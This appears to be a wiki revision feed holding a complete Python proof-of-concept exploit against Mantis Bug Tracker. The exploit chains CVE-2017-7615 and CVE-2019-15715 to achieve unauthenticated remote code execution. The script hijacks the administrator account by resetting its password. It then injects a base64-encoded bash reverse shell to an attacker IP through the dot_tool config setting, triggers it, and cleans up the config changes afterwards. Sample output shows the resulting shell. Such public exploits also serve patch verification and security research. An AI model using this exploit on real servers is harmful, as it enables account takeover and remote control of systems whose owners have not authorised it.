<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2017-7615_MantisBT_%E4%BB%BB%E6%84%8F%E5%AF%86%E7%A2%BC%E9%87%8D%E7%BD%AE%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2017-7615 MantisBT 任意密碼重置漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2017-7615_MantisBT_%E4%BB%BB%E6%84%8F%E5%AF%86%E7%A2%BC%E9%87%8D%E7%BD%AE%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2017-7615_MantisBT_%E4%BB%BB%E6%84%8F%E5%AF%86%E7%A2%BC%E9%87%8D%E7%BD%AE%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T02:17:49Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2017-7615_MantisBT_%E4%BB%BB%E6%84%8F%E5%AF%86%E7%A2%BC%E9%87%8D%E7%BD%AE%E6%BC%8F%E6%B4%9E&amp;diff=3252&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==POC== &lt;pre&gt; # Exploit Title: Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated) # Date: 2020-09-17 # Vulnerability Discovery: hyp3rlinx, permanull # Exploit...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2017-7615_MantisBT_%E4%BB%BB%E6%84%8F%E5%AF%86%E7%A2%BC%E9%87%8D%E7%BD%AE%E6%BC%8F%E6%B4%9E&amp;diff=3252&amp;oldid=prev"/>
		<updated>2021-05-25T08:55:26Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==POC== &amp;lt;pre&amp;gt; # Exploit Title: Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated) # Date: 2020-09-17 # Vulnerability Discovery: hyp3rlinx, permanull # Exploit...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)&lt;br /&gt;
# Date: 2020-09-17&lt;br /&gt;
# Vulnerability Discovery: hyp3rlinx, permanull&lt;br /&gt;
# Exploit Author: Nikolas Geiselman&lt;br /&gt;
# Vendor Homepage: https://mantisbt.org/&lt;br /&gt;
# Software Link: https://mantisbt.org/download.php&lt;br /&gt;
# Version: 1.3.0/2.3.0&lt;br /&gt;
# Tested on: Ubuntu 16.04/19.10/20.04&lt;br /&gt;
# CVE : CVE-2017-7615, CVE-2019-15715&lt;br /&gt;
# References:&lt;br /&gt;
# https://mantisbt.org/bugs/view.php?id=26091&lt;br /&gt;
# https://www.exploit-db.com/exploits/41890&lt;br /&gt;
'''&lt;br /&gt;
This exploit chains together two CVE's to achieve unauthenticated remote code execution.&lt;br /&gt;
The first portion of this exploit resets the Administrator password (CVE-2017-7615) discovered by John Page a.k.a hyp3rlinx, this portion was modified from the original https://www.exploit-db.com/exploits/41890.&lt;br /&gt;
The second portion of this exploit takes advantage of a command injection vulnerability (CVE-2019-15715) discovered by 'permanull' (see references).&lt;br /&gt;
Usage:&lt;br /&gt;
Set netcat listener on port 4444&lt;br /&gt;
Send exploit with &amp;quot;python exploit.py&amp;quot;&lt;br /&gt;
Example output:&lt;br /&gt;
kali@kali:~/Desktop$ python exploit.py&lt;br /&gt;
Successfully hijacked account!&lt;br /&gt;
Successfully logged in!&lt;br /&gt;
Triggering reverse shell&lt;br /&gt;
Cleaning up&lt;br /&gt;
Deleting the dot_tool config.&lt;br /&gt;
Deleting the relationship_graph_enable config.&lt;br /&gt;
Successfully cleaned up&lt;br /&gt;
kali@kali:~/Desktop$ nc -nvlp 4444&lt;br /&gt;
listening on [any] 4444 ...&lt;br /&gt;
connect to [192.168.116.135] from (UNKNOWN) [192.168.116.151] 43978&lt;br /&gt;
bash: cannot set terminal process group (835): Inappropriate ioctl for device&lt;br /&gt;
bash: no job control in this shell&lt;br /&gt;
www-data@ubuntu:/var/www/html/mantisbt-2.3.0$ id&lt;br /&gt;
id&lt;br /&gt;
uid=33(www-data) gid=33(www-data) groups=33(www-data)&lt;br /&gt;
'''&lt;br /&gt;
import requests&lt;br /&gt;
from urllib import quote_plus&lt;br /&gt;
from base64 import b64encode&lt;br /&gt;
from re import split&lt;br /&gt;
class exploit():&lt;br /&gt;
    def __init__(self):&lt;br /&gt;
        self.s = requests.Session()&lt;br /&gt;
        self.headers = dict()  # Initialize the headers dictionary&lt;br /&gt;
        self.RHOST = &amp;quot;192.168.116.151&amp;quot;  # Victim IP&lt;br /&gt;
        self.RPORT = &amp;quot;80&amp;quot;  # Victim port&lt;br /&gt;
        self.LHOST = &amp;quot;192.168.116.135&amp;quot;  # Attacker IP&lt;br /&gt;
        self.LPORT = &amp;quot;4444&amp;quot;  # Attacker Port&lt;br /&gt;
        self.verify_user_id = &amp;quot;1&amp;quot;  # User id for the target account&lt;br /&gt;
        self.realname = &amp;quot;administrator&amp;quot;  # Username to hijack&lt;br /&gt;
        self.passwd = &amp;quot;password&amp;quot;  # New password after account hijack&lt;br /&gt;
        self.mantisLoc = &amp;quot;/mantisbt-2.3.0&amp;quot;  # Location of mantis in URL&lt;br /&gt;
        self.ReverseShell = &amp;quot;echo &amp;quot; + b64encode(&lt;br /&gt;
            &amp;quot;bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;quot; + self.LHOST + &amp;quot;/&amp;quot; + self.LPORT + &amp;quot; 0&amp;gt;&amp;amp;1&amp;quot;) + &amp;quot; | base64 -d | /bin/bash&amp;quot;  # Reverse shell payload&lt;br /&gt;
    def reset_login(self):&lt;br /&gt;
        # Request # 1: Grab the account update token&lt;br /&gt;
        url = 'http://' + self.RHOST + &amp;quot;:&amp;quot; + self.RPORT + self.mantisLoc + '/verify.php?id=' + self.verify_user_id + '&amp;amp;confirm_hash='&lt;br /&gt;
        r = self.s.get(url=url, headers=self.headers)&lt;br /&gt;
        if r.status_code == 404:&lt;br /&gt;
            print &amp;quot;ERROR: Unable to access password reset page&amp;quot;&lt;br /&gt;
            exit()&lt;br /&gt;
        account_update_token = r.text.split('name=&amp;quot;account_update_token&amp;quot; value=')[1].split('&amp;quot;')[1]&lt;br /&gt;
        # Request # 2: Reset the account password&lt;br /&gt;
        url = 'http://' + self.RHOST + &amp;quot;:&amp;quot; + self.RPORT + self.mantisLoc + '/account_update.php'&lt;br /&gt;
        data = &amp;quot;account_update_token=&amp;quot; + account_update_token + &amp;quot;&amp;amp;password=&amp;quot; + self.passwd + &amp;quot;&amp;amp;verify_user_id=&amp;quot; + self.verify_user_id + &amp;quot;&amp;amp;realname=&amp;quot; + self.realname + &amp;quot;&amp;amp;password_confirm=&amp;quot; + self.passwd&lt;br /&gt;
        self.headers.update({'Content-Type': 'application/x-www-form-urlencoded'})&lt;br /&gt;
        r = self.s.post(url=url, headers=self.headers, data=data)&lt;br /&gt;
        if r.status_code == 200:&lt;br /&gt;
            print &amp;quot;Successfully hijacked account!&amp;quot;&lt;br /&gt;
    def login(self):&lt;br /&gt;
        data = &amp;quot;return=index.php&amp;amp;username=&amp;quot; + self.realname + &amp;quot;&amp;amp;password=&amp;quot; + self.passwd + &amp;quot;&amp;amp;secure_session=on&amp;quot;&lt;br /&gt;
        url = 'http://' + self.RHOST + &amp;quot;:&amp;quot; + self.RPORT + self.mantisLoc + '/login.php'&lt;br /&gt;
        r = self.s.post(url=url, headers=self.headers, data=data)&lt;br /&gt;
        if &amp;quot;login_page.php&amp;quot; not in r.url:&lt;br /&gt;
            print &amp;quot;Successfully logged in!&amp;quot;&lt;br /&gt;
    def CreateConfigOption(self, option, value):&lt;br /&gt;
        # Get adm_config_set_token&lt;br /&gt;
        url = 'http://' + self.RHOST + &amp;quot;:&amp;quot; + self.RPORT + self.mantisLoc + '/adm_config_report.php'&lt;br /&gt;
        r = self.s.get(url=url, headers=self.headers)&lt;br /&gt;
        adm_config_set_token = r.text.split('name=&amp;quot;adm_config_set_token&amp;quot; value=')[1].split('&amp;quot;')[1]&lt;br /&gt;
        # Create config&lt;br /&gt;
        data = &amp;quot;adm_config_set_token=&amp;quot; + adm_config_set_token + &amp;quot;&amp;amp;user_id=0&amp;amp;original_user_id=0&amp;amp;project_id=0&amp;amp;original_project_id=0&amp;amp;config_option=&amp;quot; + option + &amp;quot;&amp;amp;original_config_option=&amp;amp;type=0&amp;amp;value=&amp;quot; + quote_plus(&lt;br /&gt;
            value) + &amp;quot;&amp;amp;action=create&amp;amp;config_set=Create+Configuration+Option&amp;quot;&lt;br /&gt;
        url = 'http://' + self.RHOST + &amp;quot;:&amp;quot; + self.RPORT + self.mantisLoc + '/adm_config_set.php'&lt;br /&gt;
        r = self.s.post(url=url, headers=self.headers, data=data)&lt;br /&gt;
    def TriggerExploit(self):&lt;br /&gt;
        print &amp;quot;Triggering reverse shell&amp;quot;&lt;br /&gt;
        url = 'http://' + self.RHOST + &amp;quot;:&amp;quot; + self.RPORT + self.mantisLoc + '/workflow_graph_img.php'&lt;br /&gt;
        try:&lt;br /&gt;
            r = self.s.get(url=url, headers=self.headers, timeout=3)&lt;br /&gt;
        except:&lt;br /&gt;
            pass&lt;br /&gt;
    def Cleanup(self):&lt;br /&gt;
        # Delete the config settings that were created to send the reverse shell&lt;br /&gt;
        print &amp;quot;Cleaning up&amp;quot;&lt;br /&gt;
        cleaned_up = False&lt;br /&gt;
        cleanup = requests.Session()&lt;br /&gt;
        CleanupHeaders = dict()&lt;br /&gt;
        CleanupHeaders.update({'Content-Type': 'application/x-www-form-urlencoded'})&lt;br /&gt;
        data = &amp;quot;return=index.php&amp;amp;username=&amp;quot; + self.realname + &amp;quot;&amp;amp;password=&amp;quot; + self.passwd + &amp;quot;&amp;amp;secure_session=on&amp;quot;&lt;br /&gt;
        url = 'http://' + self.RHOST + &amp;quot;:&amp;quot; + self.RPORT + self.mantisLoc + '/login.php'&lt;br /&gt;
        r = cleanup.post(url=url, headers=CleanupHeaders, data=data)&lt;br /&gt;
        ConfigsToCleanup = ['dot_tool', 'relationship_graph_enable']&lt;br /&gt;
        for config in ConfigsToCleanup:&lt;br /&gt;
            # Get adm_config_delete_token&lt;br /&gt;
            url = &amp;quot;http://&amp;quot; + self.RHOST + &amp;quot;:&amp;quot; + self.RPORT + self.mantisLoc + &amp;quot;/adm_config_report.php&amp;quot;&lt;br /&gt;
            r = cleanup.get(url=url, headers=self.headers)&lt;br /&gt;
            test = split('&amp;lt;!-- Repeated Info Rows --&amp;gt;', r.text)&lt;br /&gt;
            # First element of the response list is garbage, delete it&lt;br /&gt;
            del test[0]&lt;br /&gt;
            cleanup_dict = dict()&lt;br /&gt;
            for i in range(len(test)):&lt;br /&gt;
                if config in test[i]:&lt;br /&gt;
                    cleanup_dict.update({'config_option': config})&lt;br /&gt;
                    cleanup_dict.update({'adm_config_delete_token':&lt;br /&gt;
                                             test[i].split('name=&amp;quot;adm_config_delete_token&amp;quot; value=')[1].split('&amp;quot;')[1]})&lt;br /&gt;
                    cleanup_dict.update({'user_id': test[i].split('name=&amp;quot;user_id&amp;quot; value=')[1].split('&amp;quot;')[1]})&lt;br /&gt;
                    cleanup_dict.update({'project_id': test[i].split('name=&amp;quot;project_id&amp;quot; value=')[1].split('&amp;quot;')[1]})&lt;br /&gt;
            # Delete the config&lt;br /&gt;
            print &amp;quot;Deleting the &amp;quot; + config + &amp;quot; config.&amp;quot;&lt;br /&gt;
            url = &amp;quot;http://&amp;quot; + self.RHOST + &amp;quot;:&amp;quot; + self.RPORT + self.mantisLoc + &amp;quot;/adm_config_delete.php&amp;quot;&lt;br /&gt;
            data = &amp;quot;adm_config_delete_token=&amp;quot; + cleanup_dict['adm_config_delete_token'] + &amp;quot;&amp;amp;user_id=&amp;quot; + cleanup_dict[&lt;br /&gt;
                'user_id'] + &amp;quot;&amp;amp;project_id=&amp;quot; + cleanup_dict['project_id'] + &amp;quot;&amp;amp;config_option=&amp;quot; + cleanup_dict[&lt;br /&gt;
                       'config_option'] + &amp;quot;&amp;amp;_confirmed=1&amp;quot;&lt;br /&gt;
            r = cleanup.post(url=url, headers=CleanupHeaders, data=data)&lt;br /&gt;
            # Confirm if actually cleaned up&lt;br /&gt;
            r = cleanup.get(url=&amp;quot;http://&amp;quot; + self.RHOST + &amp;quot;:&amp;quot; + self.RPORT + self.mantisLoc + &amp;quot;/adm_config_report.php&amp;quot;,&lt;br /&gt;
                            headers=CleanupHeaders, verify=False)&lt;br /&gt;
            if config in r.text:&lt;br /&gt;
                cleaned_up = False&lt;br /&gt;
            else:&lt;br /&gt;
                cleaned_up = True&lt;br /&gt;
        if cleaned_up == True:&lt;br /&gt;
            print &amp;quot;Successfully cleaned up&amp;quot;&lt;br /&gt;
        else:&lt;br /&gt;
            print &amp;quot;Unable to clean up configs&amp;quot;&lt;br /&gt;
exploit = exploit()&lt;br /&gt;
exploit.reset_login()&lt;br /&gt;
exploit.login()&lt;br /&gt;
exploit.CreateConfigOption(option=&amp;quot;relationship_graph_enable&amp;quot;, value=&amp;quot;1&amp;quot;)&lt;br /&gt;
exploit.CreateConfigOption(option=&amp;quot;dot_tool&amp;quot;, value=exploit.ReverseShell + ';')&lt;br /&gt;
exploit.TriggerExploit()&lt;br /&gt;
exploit.Cleanup()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>